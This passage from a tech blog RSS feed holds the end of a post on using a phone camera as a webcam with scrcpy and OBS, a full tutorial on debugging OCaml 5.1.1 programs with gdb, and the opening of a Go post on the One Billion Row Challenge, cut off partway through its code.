resolutions, and even the audio from the phone’s mic (which is useful
considering how shitty the mics are on modern laptops these days) .</p>
<p>So at the end, I ended up with this command:</p>
<div class="sourceCode" id="cb1"><pre
class="sourceCode bash"><code class="sourceCode bash"><span id="cb1-1"><a href="#cb1-1" aria-hidden="true" tabindex="-1"></a><span class="ex">/usr/local/bin/scrcpy</span> <span class="at">--video-source</span><span class="op">=</span>camera <span class="at">--camera-id</span><span class="op">=</span>0 <span class="at">--camera-size</span><span class="op">=</span>3264x1836</span></code></pre></div>
<p>Now, at this point, I just needed to run OBS under Xwayland, add it
as an Xcomposite video capture, and start streaming!</p>
<p>But then, if you want to use it as a webcam, you just have to install
v4l2loopback (and run modprobe v4l2loopback), and then click “Start
Virtual Camera” instead of Start Streaming.</p>
<p>Do note though, you might have to change output type to scene under
the settings section right next to the start virtual camera button.</p>
<p>But thats about it. This is still a bit jank, considering you need
scrcpy and OBS both running in the background, but it generally does the
job pretty well, and a good phone’s webcam is miles better than any
other mid-range web-cam you can get.</p>]]></content:encoded>
            <author>arya@projectsegfau.lt (Arya Kiran)</author>
            <category>2024/01/27/6</category>
        </item>
        <item>
            <title><![CDATA[Getting Started with GDB on OCaml]]></title>
            <link>https://kcsrk.info/ocaml/gdb/2024/01/20/gdb-ocaml/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/gdb/2024/01/20/gdb-ocaml/</guid>
            <pubDate>Sat, 20 Jan 2024 15:16:00 GMT</pubDate>
            <description><![CDATA[A number of folks who regularly use OCaml were surprised to learn that you can
reasonably debug OCaml programs using gdb. The aim of the post is to show the
first steps in using gdb on OCaml programs.
Let’s consider the following program:

(* fib.ml *)
let rec fib n = 
  if n = 0 then 0
  else if n = 1 then 1
  else fib (n-1) + fib (n-2)

let main () = 
  let r = fib 20 in 
  Printf.printf "fib(20) = %d" r

let _ = main ()


Let’s compile this program. I’m using OCaml version 5.1.1.

$ ocamlopt --version
5.1.1
$ ocamlopt -g -o fib.exe fib.ml
$ $ ./fib.exe 20
fib(20) = 6765


As you can see, the program prints the 20th Fibonacci number. Let’s examine this
program under gdb. Before we venture any further, I highly recommend watching
this 15-minute video
that shows a number of gdb tricks. Let’s start a gdb session.

$ gdb ./fib.exe


Setting breakpoints
Let’s set a break point at the fib function. When OCaml functions are
compiled, their names are mangled. OCaml 5.1.1 uses the following mangling
scheme caml<MODULE_NAME>.<FUNCTION_NAME>_<NNN> where NNN is a randomly
generated number. For the fib function, since it is under the file fib.ml,
the module name is Fib. Since we can’t guess NNN, we use tab completion to
help identify the function.

(gdb) break camlFib.fib_ #press tab
(gdb) break camlFib.fib_269 #269 happens to be the randomly generated number
                            #on my machine.
(gdb) Breakpoint 1 at 0x3d160: file fib.ml, line 1.


You can also set a breakpoint using gdb’s file name and line number combination.
Let’s set another break point at the main function, which is at line number 6
in fib.ml.

(gdb) break fib.ml:6
Breakpoint 2 at 0x3d1d0: file fib.ml, line 6.


Let’s run the program.

(gdb) r
Starting program: /home/kc/temp/fib.exe 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 2, camlFib.main_271 () at fib.ml:6
6       let main () =


The program execution starts in the gdb session and we stop at the breakpoint
installed at main. gdb has a nice TUI mode for stepping through the file. This
can be activated with ctrl+x+a key combination, which should show a screen
similar to the following.
  
Notice that we can see both the breakpoints installed in this file. The current
line is highlighted.
Examining the stack
You can step through the OCaml program with gdb commands n and s. After a
few ns, you can examine the backtrace using the bt command.

(gdb) bt
#0  camlFib.fib_269 () at fib.ml:1
#1  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4
#2  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4
#3  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4
#4  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4
#5  0x00005555555911f1 in camlFib.main_271 () at fib.ml:7
#6  0x000055555559129a in camlFib.entry () at fib.ml:10
#7  0x000055555558eb0b in caml_program ()
#8  <signal handler called>
#9  0x00005555555dd306 in caml_startup_common (pooling=<optimised out>, argv=0x7fffffffe008) at runtime/startup_nat.c:132
#10 caml_startup_common (argv=0x7fffffffe008, pooling=<optimised out>) at runtime/startup_nat.c:88
#11 0x00005555555dd37f in caml_startup_exn (argv=<optimised out>) at runtime/startup_nat.c:139
#12 caml_startup (argv=<optimised out>) at runtime/startup_nat.c:144
#13 caml_main (argv=<optimised out>) at runtime/startup_nat.c:151
#14 0x000055555558e8f2 in main (argc=<optimised out>, argv=<optimised out>) at runtime/main.c:37


As you can see the backtrace includes the recursive calls to the fib function,
the main function in fib.ml, followed by a number of functions from the
OCaml runtime, and finally ending at the main function.
Note that <signal handler called> is a misnomer and is not an actual signal
handler. OCaml 5 supports effect
handlers with the help of runtime
managed stack segments for the OCaml stack. There is also a single C stack that
is used by all the fibers that run on a
domain, our unit of parallelism.
The <signal handler called> represents a frame where the control switches
between the C stack (managed by the OS) and the OCaml stack (managed by the
OCaml runtime). The OCaml runtime marks these frames where the stack are split
as signal handler frames so that gdb doesn’t complain about stack corruption;
gdb expects stacks to grow down, which may not be true if the stack segments are
in different parts of the memory address space. You will also find such <signal
handler called> frames between OCaml fibers (when using effect handlers) and
when OCaml calls into the (C) runtime. You can find more details about the stack
layout in the PLDI 2021 paper on OCaml effect
handlers.
Examining values
There isn’t good support for examining OCaml values in gdb unlike C. That said,
given the uniform value representation of
OCaml, with a bit of
information about the OCaml calling convention, we can start to examine the
values. It is useful to note that OCaml 5.1.1 on x86 passes the first 10
arguments in
registers.
In particular, the first argument is in the register rax. So the argument to
the fib function should be in the rax register. We also know that the
argument to fib is an integer. OCaml uses 63-bit tagged integers (on 64-bit
machines) with the least-significant bit is 1. Given a machine word or a
register holding an OCaml integer, the integer value is obtained by right
shifting the value by 1.
Putting it all together, we can get the argument value of fib at the
breakpoint at the entry to fib as follows:

(gdb) p $rax >> 1
$2 = 12


Given that we’ve already stepped through the program several times, the current
call for me corresponds to fib(12). Let’s see what’s the next argument by
continuing the program until we hit the breakpoint again.

(gdb) c
Continuing.

Breakpoint 1, camlFib.fib_269 () at fib.ml:1
(gdb) p $rax >> 1
$3 = 10


Observe that this corresponds to the recursive call fib(10), which must mean
that the RHS recursive call is the one being invoked. Note that the evaluation
order of arguments in OCaml is unspecified. The 5.1.1 implementation does
right-to-left evaluation of arguments (to the (+) function in this case),
which can be confirmed with the following program:

$ cat eval_order.ml
let _ =
  (print_endline "hello"; 0) + (print_endline "world"; 1)
$ ocamlopt.opt -g -o eval_order.exe eval_order.ml
$ ./eval_order.exe
world
hello


Advanced printing
As you can observe, examining values this way is cumbersome. The OCaml compiler
distribution has some rudimentary scripts to make it easier to examine OCaml
values in gdb. Note that this was developed by OCaml maintainers to develop the
compiler, and was not designed to serve end user needs. That said, let’s dive
in.
Since we are on OCaml 5.1.1, let’s check out the source code for 5.1.1
first.

# I'm in ~/repos directory on my machine *)
$ git clone https://github.com/ocaml/ocaml --branch 5.1.1


Let’s start a new gdb session, load the gdb script and get to the desired
breakpoint.

$ gdb ./fib.exe
(gdb) source ~/repos/ocaml/tools/gdb_ocamlrun.py
(gdb) break fib.ml:1
Breakpoint 1 at 0x3d160: file fib.ml, line 1.
(gdb) r
Starting program: /home/kc/temp/fib.exe 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, camlFib.fib_269 () at fib.ml:1
1       let rec fib n =


As earlier, the first argument is in rax register. We can examine the value
now with the help of the script.

(gdb) p (value)$rax
$1 = I(20)


value is the type of OCaml values defined in OCaml runtime. The script
tools/gdb_ocamlrun.py installs a pretty printer for the values of type
value. Here, it prints that the argument is the integer 20.
We can also print other kinds of OCaml values. In order to illustrate this,
consider the following program:

$ cat test_blocks.ml
(* test_blocks.ml *)

type t = {s : string; i : int}

let main a b =
  print_endline "Hello, world!";
  print_endline a;
  print_endline b.s

let _ = main "foo" {s = "bar"; i = 42}


Let’s compile, start a gdb session and break at the main function.

$ ocamlopt -g -o test_blocks.exe test_blocks.ml                                                                                                               
$ gdb ./test_blocks.exe
(gdb) break camlTest_blocks.main_272 
Breakpoint 1 at 0x16ed0: file test_blocks.ml, line 5.
(gdb) r
Starting program: /home/kc/temp/test_blocks.exe 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, camlTest_blocks.main_272 () at test_blocks.ml:5
5       let main a b =
(gdb) source ~/repos/ocaml/tools/gdb_ocamlrun.py 


Let’s examine the two arguments to main.

(gdb) p (value)$rax
$1 = String_tag("foo", NOT_MARKABLE)


The first argument is a string “foo”. NOT_MARKABLE is one of the GC colours
used by OCaml 5, and represents objects that are not traced by the
mark-and-sweep (major) GC. The string happens to be allocated in the data
section of the address space, and
is not traced by the GC.

(gdb) info symbol $rax
camlTest_blocks.4 in section .data of /home/kc/temp/test_blocks.exe


Let’s examine the second argument.

(gdb) p (value)$rbx
$2 = Block(0, wosize=2, NOT_MARKABLE)


The second argument, which is passed in the register rbx, is a record with two
fields. Hence, the pretty printer says that it is a block with 2 fields.  We can
print both values using gdb’s support for printing a range of values.

(gdb) p *(value*)$rbx@2                                                                 
$3 = {String_tag("bar", NOT_MARKABLE), I(42)}


We cast rbx to an array of values and print the first two fields in the
array. This shows that the fields are the string “bar” and integer 42.
More for later
There is a lot more to be said about debugging OCaml programs using gdb. We
shall see them in subsequent posts if there is interest.]]></description>
            <content:encoded><![CDATA[<p>A number of folks who regularly use OCaml were surprised to learn that you can
reasonably debug OCaml programs using gdb. The aim of the post is to show the
first steps in using gdb on OCaml programs.</p>

<!--more-->

<p>Let’s consider the following program:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">(* fib.ml *)</span>
<span class="k">let</span> <span class="k">rec</span> <span class="n">fib</span> <span class="n">n</span> <span class="o">=</span> 
  <span class="k">if</span> <span class="n">n</span> <span class="o">=</span> <span class="mi">0</span> <span class="k">then</span> <span class="mi">0</span>
  <span class="k">else</span> <span class="k">if</span> <span class="n">n</span> <span class="o">=</span> <span class="mi">1</span> <span class="k">then</span> <span class="mi">1</span>
  <span class="k">else</span> <span class="n">fib</span> <span class="p">(</span><span class="n">n</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">fib</span> <span class="p">(</span><span class="n">n</span><span class="o">-</span><span class="mi">2</span><span class="p">)</span>

<span class="k">let</span> <span class="n">main</span> <span class="bp">()</span> <span class="o">=</span> 
  <span class="k">let</span> <span class="n">r</span> <span class="o">=</span> <span class="n">fib</span> <span class="mi">20</span> <span class="k">in</span> 
  <span class="nn">Printf</span><span class="p">.</span><span class="n">printf</span> <span class="s2">"fib(20) = %d"</span> <span class="n">r</span>

<span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">main</span> <span class="bp">()</span>
</code></pre></div></div>

<p>Let’s compile this program. I’m using OCaml version 5.1.1.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ocamlopt <span class="nt">--version</span>
5.1.1
<span class="nv">$ </span>ocamlopt <span class="nt">-g</span> <span class="nt">-o</span> fib.exe fib.ml
<span class="nv">$ $ </span>./fib.exe 20
fib<span class="o">(</span>20<span class="o">)</span> <span class="o">=</span> 6765
</code></pre></div></div>

<p>As you can see, the program prints the 20th Fibonacci number. Let’s examine this
program under gdb. Before we venture any further, I highly recommend watching
this <a href="https://www.youtube.com/watch?app=desktop&amp;v=PorfLSr3DDI">15-minute video</a>
that shows a number of gdb tricks. Let’s start a gdb session.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gdb ./fib.exe
</code></pre></div></div>

<h2 id="setting-breakpoints">Setting breakpoints</h2>

<p>Let’s set a break point at the <code class="language-plaintext highlighter-rouge">fib</code> function. When OCaml functions are
compiled, their names are mangled. OCaml 5.1.1 uses the following mangling
scheme <code class="language-plaintext highlighter-rouge">caml&lt;MODULE_NAME&gt;.&lt;FUNCTION_NAME&gt;_&lt;NNN&gt;</code> where <code class="language-plaintext highlighter-rouge">NNN</code> is a randomly
generated number. For the <code class="language-plaintext highlighter-rouge">fib</code> function, since it is under the file <code class="language-plaintext highlighter-rouge">fib.ml</code>,
the module name is <code class="language-plaintext highlighter-rouge">Fib</code>. Since we can’t guess <code class="language-plaintext highlighter-rouge">NNN</code>, we use tab completion to
help identify the function.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> <span class="nb">break </span>camlFib.fib_ <span class="c">#press tab</span>
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">break </span>camlFib.fib_269 <span class="c">#269 happens to be the randomly generated number</span>
                            <span class="c">#on my machine.</span>
<span class="o">(</span>gdb<span class="o">)</span> Breakpoint 1 at 0x3d160: file fib.ml, line 1.
</code></pre></div></div>

<p>You can also set a breakpoint using gdb’s file name and line number combination.
Let’s set another break point at the <code class="language-plaintext highlighter-rouge">main</code> function, which is at line number 6
in <code class="language-plaintext highlighter-rouge">fib.ml</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> <span class="nb">break </span>fib.ml:6
Breakpoint 2 at 0x3d1d0: file fib.ml, line 6.
</code></pre></div></div>

<p>Let’s run the program.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> r
Starting program: /home/kc/temp/fib.exe 
<span class="o">[</span>Thread debugging using libthread_db enabled]
Using host libthread_db library <span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="nb">.</span>

Breakpoint 2, camlFib.main_271 <span class="o">()</span> at fib.ml:6
6       <span class="nb">let </span>main <span class="o">()</span> <span class="o">=</span>
</code></pre></div></div>

<p>The program execution starts in the gdb session and we stop at the breakpoint
installed at <code class="language-plaintext highlighter-rouge">main</code>. gdb has a nice TUI mode for stepping through the file. This
can be activated with <code class="language-plaintext highlighter-rouge">ctrl+x+a</code> key combination, which should show a screen
similar to the following.</p>

<p align="center"> <img src="https://kcsrk.info/assets/gdb/01.png" /> </p>

<p>Notice that we can see both the breakpoints installed in this file. The current
line is highlighted.</p>

<h2 id="examining-the-stack">Examining the stack</h2>

<p>You can step through the OCaml program with gdb commands <code class="language-plaintext highlighter-rouge">n</code> and <code class="language-plaintext highlighter-rouge">s</code>. After a
few <code class="language-plaintext highlighter-rouge">n</code>s, you can examine the backtrace using the <code class="language-plaintext highlighter-rouge">bt</code> command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> bt
<span class="c">#0  camlFib.fib_269 () at fib.ml:1</span>
<span class="c">#1  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4</span>
<span class="c">#2  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4</span>
<span class="c">#3  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4</span>
<span class="c">#4  0x00005555555911a1 in camlFib.fib_269 () at fib.ml:4</span>
<span class="c">#5  0x00005555555911f1 in camlFib.main_271 () at fib.ml:7</span>
<span class="c">#6  0x000055555559129a in camlFib.entry () at fib.ml:10</span>
<span class="c">#7  0x000055555558eb0b in caml_program ()</span>
<span class="c">#8  &lt;signal handler called&gt;</span>
<span class="c">#9  0x00005555555dd306 in caml_startup_common (pooling=&lt;optimised out&gt;, argv=0x7fffffffe008) at runtime/startup_nat.c:132</span>
<span class="c">#10 caml_startup_common (argv=0x7fffffffe008, pooling=&lt;optimised out&gt;) at runtime/startup_nat.c:88</span>
<span class="c">#11 0x00005555555dd37f in caml_startup_exn (argv=&lt;optimised out&gt;) at runtime/startup_nat.c:139</span>
<span class="c">#12 caml_startup (argv=&lt;optimised out&gt;) at runtime/startup_nat.c:144</span>
<span class="c">#13 caml_main (argv=&lt;optimised out&gt;) at runtime/startup_nat.c:151</span>
<span class="c">#14 0x000055555558e8f2 in main (argc=&lt;optimised out&gt;, argv=&lt;optimised out&gt;) at runtime/main.c:37</span>
</code></pre></div></div>

<p>As you can see the backtrace includes the recursive calls to the <code class="language-plaintext highlighter-rouge">fib</code> function,
the <code class="language-plaintext highlighter-rouge">main</code> function in <code class="language-plaintext highlighter-rouge">fib.ml</code>, followed by a number of functions from the
OCaml runtime, and finally ending at the <code class="language-plaintext highlighter-rouge">main</code> function.</p>

<p>Note that <code class="language-plaintext highlighter-rouge">&lt;signal handler called&gt;</code> is a misnomer and is not an actual signal
handler. OCaml 5 supports <a href="https://v2.ocaml.org/manual/effects.html">effect
handlers</a> with the help of runtime
managed stack segments for the OCaml stack. There is also a single C stack that
is used by all the fibers that run on a
<a href="https://v2.ocaml.org/manual/parallelism.html">domain</a>, our unit of parallelism.
The <code class="language-plaintext highlighter-rouge">&lt;signal handler called&gt;</code> represents a frame where the control switches
between the C stack (managed by the OS) and the OCaml stack (managed by the
OCaml runtime). The OCaml runtime marks these frames where the stack are split
as signal handler frames so that gdb doesn’t complain about stack corruption;
gdb expects stacks to grow down, which may not be true if the stack segments are
in different parts of the memory address space. You will also find such <code class="language-plaintext highlighter-rouge">&lt;signal
handler called&gt;</code> frames between OCaml fibers (when using effect handlers) and
when OCaml calls into the (C) runtime. You can find more details about the stack
layout in the <a href="https://dl.acm.org/doi/10.1145/3453483.3454039">PLDI 2021 paper on OCaml effect
handlers</a>.</p>

<h2 id="examining-values">Examining values</h2>

<p>There isn’t good support for examining OCaml values in gdb unlike C. That said,
given the <a href="https://dev.realworldocaml.org/runtime-memory-layout.html">uniform value representation of
OCaml</a>, with a bit of
information about the OCaml calling convention, we can start to examine the
values. It is useful to note that OCaml 5.1.1 on x86 passes the first <a href="https://github.com/ocaml/ocaml/blob/b2e7c4b7e93abb8faade7396730e59c1922c2e9f/asmcomp/amd64/proc.ml#L53">10
arguments in
registers</a>.
In particular, the first argument is in the register <code class="language-plaintext highlighter-rouge">rax</code>. So the argument to
the <code class="language-plaintext highlighter-rouge">fib</code> function should be in the <code class="language-plaintext highlighter-rouge">rax</code> register. We also know that the
argument to <code class="language-plaintext highlighter-rouge">fib</code> is an integer. OCaml uses 63-bit tagged integers (on 64-bit
machines) with the least-significant bit is 1. Given a machine word or a
register holding an OCaml integer, the integer value is obtained by right
shifting the value by 1.</p>

<p>Putting it all together, we can get the argument value of <code class="language-plaintext highlighter-rouge">fib</code> at the
breakpoint at the entry to <code class="language-plaintext highlighter-rouge">fib</code> as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> p <span class="nv">$rax</span> <span class="o">&gt;&gt;</span> 1
<span class="nv">$2</span> <span class="o">=</span> 12
</code></pre></div></div>

<p>Given that we’ve already stepped through the program several times, the current
call for me corresponds to <code class="language-plaintext highlighter-rouge">fib(12)</code>. Let’s see what’s the next argument by
continuing the program until we hit the breakpoint again.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> c
Continuing.

Breakpoint 1, camlFib.fib_269 <span class="o">()</span> at fib.ml:1
<span class="o">(</span>gdb<span class="o">)</span> p <span class="nv">$rax</span> <span class="o">&gt;&gt;</span> 1
<span class="nv">$3</span> <span class="o">=</span> 10
</code></pre></div></div>

<p>Observe that this corresponds to the recursive call <code class="language-plaintext highlighter-rouge">fib(10)</code>, which must mean
that the RHS recursive call is the one being invoked. Note that the evaluation
order of arguments in OCaml is unspecified. The 5.1.1 implementation does
right-to-left evaluation of arguments (to the <code class="language-plaintext highlighter-rouge">(+)</code> function in this case),
which can be confirmed with the following program:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">$</span> <span class="n">cat</span> <span class="n">eval_order</span><span class="o">.</span><span class="n">ml</span>
<span class="k">let</span> <span class="n">_</span> <span class="o">=</span>
  <span class="p">(</span><span class="n">print_endline</span> <span class="s2">"hello"</span><span class="p">;</span> <span class="mi">0</span><span class="p">)</span> <span class="o">+</span> <span class="p">(</span><span class="n">print_endline</span> <span class="s2">"world"</span><span class="p">;</span> <span class="mi">1</span><span class="p">)</span>
<span class="o">$</span> <span class="n">ocamlopt</span><span class="o">.</span><span class="n">opt</span> <span class="o">-</span><span class="n">g</span> <span class="o">-</span><span class="n">o</span> <span class="n">eval_order</span><span class="o">.</span><span class="n">exe</span> <span class="n">eval_order</span><span class="o">.</span><span class="n">ml</span>
<span class="o">$</span> <span class="o">./</span><span class="n">eval_order</span><span class="o">.</span><span class="n">exe</span>
<span class="n">world</span>
<span class="n">hello</span>
</code></pre></div></div>

<h2 id="advanced-printing">Advanced printing</h2>

<p>As you can observe, examining values this way is cumbersome. The OCaml compiler
distribution has some rudimentary scripts to make it easier to examine OCaml
values in gdb. Note that this was developed by OCaml maintainers to develop the
compiler, and was not designed to serve end user needs. That said, let’s dive
in.</p>

<p>Since we are on OCaml 5.1.1, let’s check out the source code for 5.1.1
first.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># I'm in ~/repos directory on my machine *)</span>
<span class="nv">$ </span>git clone https://github.com/ocaml/ocaml <span class="nt">--branch</span> 5.1.1
</code></pre></div></div>

<p>Let’s start a new gdb session, load the gdb script and get to the desired
breakpoint.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gdb ./fib.exe
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">source</span> ~/repos/ocaml/tools/gdb_ocamlrun.py
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">break </span>fib.ml:1
Breakpoint 1 at 0x3d160: file fib.ml, line 1.
<span class="o">(</span>gdb<span class="o">)</span> r
Starting program: /home/kc/temp/fib.exe 
<span class="o">[</span>Thread debugging using libthread_db enabled]
Using host libthread_db library <span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="nb">.</span>

Breakpoint 1, camlFib.fib_269 <span class="o">()</span> at fib.ml:1
1       <span class="nb">let </span>rec fib n <span class="o">=</span>
</code></pre></div></div>

<p>As earlier, the first argument is in <code class="language-plaintext highlighter-rouge">rax</code> register. We can examine the value
now with the help of the script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> p <span class="o">(</span>value<span class="o">)</span><span class="nv">$rax</span>
<span class="nv">$1</span> <span class="o">=</span> I<span class="o">(</span>20<span class="o">)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">value</code> is the type of OCaml values defined in OCaml runtime. The script
<code class="language-plaintext highlighter-rouge">tools/gdb_ocamlrun.py</code> installs a pretty printer for the values of type
<code class="language-plaintext highlighter-rouge">value</code>. Here, it prints that the argument is the integer 20.</p>

<p>We can also print other kinds of OCaml values. In order to illustrate this,
consider the following program:</p>

<div class="language-ocaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">$</span> <span class="n">cat</span> <span class="n">test_blocks</span><span class="o">.</span><span class="n">ml</span>
<span class="c">(* test_blocks.ml *)</span>

<span class="k">type</span> <span class="n">t</span> <span class="o">=</span> <span class="p">{</span><span class="n">s</span> <span class="o">:</span> <span class="kt">string</span><span class="p">;</span> <span class="n">i</span> <span class="o">:</span> <span class="kt">int</span><span class="p">}</span>

<span class="k">let</span> <span class="n">main</span> <span class="n">a</span> <span class="n">b</span> <span class="o">=</span>
  <span class="n">print_endline</span> <span class="s2">"Hello, world!"</span><span class="p">;</span>
  <span class="n">print_endline</span> <span class="n">a</span><span class="p">;</span>
  <span class="n">print_endline</span> <span class="n">b</span><span class="o">.</span><span class="n">s</span>

<span class="k">let</span> <span class="n">_</span> <span class="o">=</span> <span class="n">main</span> <span class="s2">"foo"</span> <span class="p">{</span><span class="n">s</span> <span class="o">=</span> <span class="s2">"bar"</span><span class="p">;</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">42</span><span class="p">}</span>
</code></pre></div></div>

<p>Let’s compile, start a gdb session and break at the <code class="language-plaintext highlighter-rouge">main</code> function.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ocamlopt <span class="nt">-g</span> <span class="nt">-o</span> test_blocks.exe test_blocks.ml                                                                                                               
<span class="nv">$ </span>gdb ./test_blocks.exe
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">break </span>camlTest_blocks.main_272 
Breakpoint 1 at 0x16ed0: file test_blocks.ml, line 5.
<span class="o">(</span>gdb<span class="o">)</span> r
Starting program: /home/kc/temp/test_blocks.exe 
<span class="o">[</span>Thread debugging using libthread_db enabled]
Using host libthread_db library <span class="s2">"/lib/x86_64-linux-gnu/libthread_db.so.1"</span><span class="nb">.</span>

Breakpoint 1, camlTest_blocks.main_272 <span class="o">()</span> at test_blocks.ml:5
5       <span class="nb">let </span>main a b <span class="o">=</span>
<span class="o">(</span>gdb<span class="o">)</span> <span class="nb">source</span> ~/repos/ocaml/tools/gdb_ocamlrun.py 
</code></pre></div></div>

<p>Let’s examine the two arguments to main.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> p <span class="o">(</span>value<span class="o">)</span><span class="nv">$rax</span>
<span class="nv">$1</span> <span class="o">=</span> String_tag<span class="o">(</span><span class="s2">"foo"</span>, NOT_MARKABLE<span class="o">)</span>
</code></pre></div></div>

<p>The first argument is a string “foo”. <code class="language-plaintext highlighter-rouge">NOT_MARKABLE</code> is one of the GC colours
used by OCaml 5, and represents objects that are not traced by the
mark-and-sweep (major) GC. The string happens to be allocated in the <a href="https://en.wikipedia.org/wiki/Data_segment">data
section</a> of the address space, and
is not traced by the GC.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> info symbol <span class="nv">$rax</span>
camlTest_blocks.4 <span class="k">in </span>section .data of /home/kc/temp/test_blocks.exe
</code></pre></div></div>

<p>Let’s examine the second argument.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> p <span class="o">(</span>value<span class="o">)</span><span class="nv">$rbx</span>
<span class="nv">$2</span> <span class="o">=</span> Block<span class="o">(</span>0, <span class="nv">wosize</span><span class="o">=</span>2, NOT_MARKABLE<span class="o">)</span>
</code></pre></div></div>

<p>The second argument, which is passed in the register <code class="language-plaintext highlighter-rouge">rbx</code>, is a record with two
fields. Hence, the pretty printer says that it is a block with 2 fields.  We can
print both values using gdb’s support for printing a range of values.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>gdb<span class="o">)</span> p <span class="k">*</span><span class="o">(</span>value<span class="k">*</span><span class="o">)</span><span class="nv">$rbx</span>@2                                                                 
<span class="nv">$3</span> <span class="o">=</span> <span class="o">{</span>String_tag<span class="o">(</span><span class="s2">"bar"</span>, NOT_MARKABLE<span class="o">)</span>, I<span class="o">(</span>42<span class="o">)}</span>
</code></pre></div></div>

<p>We cast <code class="language-plaintext highlighter-rouge">rbx</code> to an array of <code class="language-plaintext highlighter-rouge">value</code>s and print the first two fields in the
array. This shows that the fields are the string “bar” and integer 42.</p>

<h2 id="more-for-later">More for later</h2>

<p>There is a lot more to be said about debugging OCaml programs using gdb. We
shall see them in subsequent posts if there is interest.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[One Billion Row Challenge in Go]]></title>
            <link>https://mrkaran.dev/posts/1brc/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/1brc/</guid>
            <pubDate>Wed, 10 Jan 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Earlier this week, I had stumbled upon 1brc, which presents a fun task: loading a huge text file (1 billion lines) in Java as quickly as possible.
The One Billion Row Challenge (1BRC) is a fun exploration of how far modern Java can be pushed for aggregating one billion rows from a text file. Utilize all your virtual threads, leverage SIMD, optimize your GC, or employ any other technique to create the fastest implementation for this task!
The challenge is mainly about Java, but I thought to do the same in my preferred language: Go. This post is about how I did several iterations to my Go program to reduce the time and discuss the main techniques used in each iteration to make it faster.
I was able to create a solution which takes ~20s to read, parse and calculate stats for 1bn lines on my Apple M2 (10 vCPU, 32GB RAM).
There are some insane solutions that people have come up with, be sure to check out GitHub Discussions to go through them!
Prerequisites#
To generate the text file for these measurements, follow the steps outlined here.
After running the commands, I have a measurements.txt on my file system:
Example output after running the commands:
➜  1brc-go git:(main) du -sh measurements.txt
 13G	measurements.txt
➜  1brc-go git:(main) tail measurements.txt
Mek'ele;13.3
Kampala;50.8
Dikson;-3.7
Dodoma;20.3
San Diego;7.1
Chihuahua;20.3
Ngaoundéré;24.2
Toronto;12.7
Wrocław;12.6
Singapore;14.4
Ultra minimalistic example of reading a file#
Let’s take a look at a basic Go code to read and parse the above file. We’ll also calculate stats on the fly.
package main

import (
	"bufio"
	"fmt"
	"os"
	"sort"
	"strconv"
	"strings"
)

type Measurement struct {
	Station string
	Temp    float64
}

type Stats struct {
	Min, Mean, Max float64
}

func main() {
	// Open the file.
	file, err := os.Open("measurements.txt")
	if err != nil {
		panic(err)
	}
	defer file.Close()

	// Map to hold the temperatures for each station.
	stationTemps := make(map[string][]float64)

	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		// Parse each line into a Measurement struct.
		parts := strings.Split(scanner.Text(), ";")
		temp, _ := strconv.ParseFloat(parts[1], 64)
